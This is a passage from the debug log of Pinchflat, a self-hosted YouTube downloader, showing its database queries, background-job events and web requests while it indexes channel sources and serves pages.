t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:51:32.480 [debug] QUERY OK source="settings" db=0.2ms idle=1007.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:32.480 [debug] QUERY OK source="sources" db=0.1ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:51:32.481 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:51:32.481 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:32.481 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 18:51:32.712 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 18:51:32.712 [debug] QUERY OK source="media_items" db=0.3ms idle=231.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 18:51:32.716 [debug] QUERY OK source="media_items" db=2.9ms idle=232.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 18:51:32.717 [debug] QUERY OK source="tasks" db=0.1ms idle=235.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [753, 3, ~U[2026-07-24 18:51:32Z], ~U[2026-07-24 18:51:32Z]] 18:51:32.717 [info] {"args":{"id":3},"id":750,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":237006,"event":"job:stop","queue_time":578990,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:51:32.718 [debug] QUERY OK source="tasks" db=0.3ms idle=1.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:51:57.466 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:00.878 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:52:21.192 [info] GET /app_info 18:52:21.192 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 18:52:21.193 [debug] QUERY OK source="settings" db=0.0ms idle=846.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:52:21.193 [debug] QUERY OK source="settings" db=0.1ms idle=846.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:52:21.193 [debug] QUERY OK source="settings" db=0.0ms idle=846.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:52:21.193 [debug] QUERY OK source="settings" db=0.0ms idle=846.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:52:21.193 [debug] QUERY OK source="settings" db=0.0ms idle=668.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:52:21.194 [info] Sent 200 in 1ms 18:52:27.467 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:57.468 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:00.878 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:53:27.470 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:57.472 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:00.880 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:54:27.473 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:57.474 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:59.718 [info] GET /sources/3/media/6484 18:54:59.718 [info] GET /sources/2 18:54:59.718 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6484", "source_id" => "3"} Pipelines: [:browser] 18:54:59.718 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 18:54:59.719 [debug] QUERY OK source="media_items" db=0.2ms idle=350.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6484] 18:54:59.719 [debug] QUERY OK source="sources" db=0.2ms idle=350.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:59.719 [debug] QUERY OK source="media_profiles" db=0.0ms idle=351.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:54:59.719 [debug] QUERY OK source="tasks" db=0.3ms idle=351.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6484] 18:54:59.719 [debug] QUERY OK source="sources" db=0.3ms idle=19.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:54:59.719 [debug] QUERY OK source="tasks" db=0.3ms queue=0.1ms idle=0.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 18:54:59.719 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=0.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [381] 18:54:59.720 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=0.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [751, 373] 18:54:59.720 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:59.720 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:59.720 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:59.720 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:59.720 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:59.720 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:59.720 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:54:59.721 [debug] QUERY OK source="sources" db=0.0ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:59.721 [info] Sent 200 in 2ms 18:54:59.721 [debug] QUERY OK source="media_items" db=0.3ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:54:59.722 [debug] QUERY OK source="media_items" db=0.3ms idle=1.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 18:54:59.722 [debug] QUERY OK source="sources" db=0.0ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:59.722 [debug] QUERY OK source="media_items" db=0.0ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 18:54:59.723 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 18:54:59.723 [debug] QUERY OK source="sources" db=0.0ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:59.723 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 18:54:59.724 [debug] QUERY OK source="media_items" db=0.3ms idle=0.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 18:54:59.724 [info] Sent 200 in 5ms 18:55:00.880 [info] {"source":"oban","duration":109,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:55:27.475 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:45.640 [info] GET /sources 18:55:45.640 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 18:55:45.641 [debug] QUERY OK source="settings" db=0.2ms idle=893.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:45.641 [debug] QUERY OK source="settings" db=0.0ms idle=273.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:45.641 [debug] QUERY OK source="settings" db=0.0ms idle=273.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:45.641 [debug] QUERY OK source="settings" db=0.0ms idle=273.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:45.641 [debug] QUERY OK source="settings" db=0.0ms idle=274.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:45.646 [debug] QUERY OK source="sources" db=4.2ms idle=0.7ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND 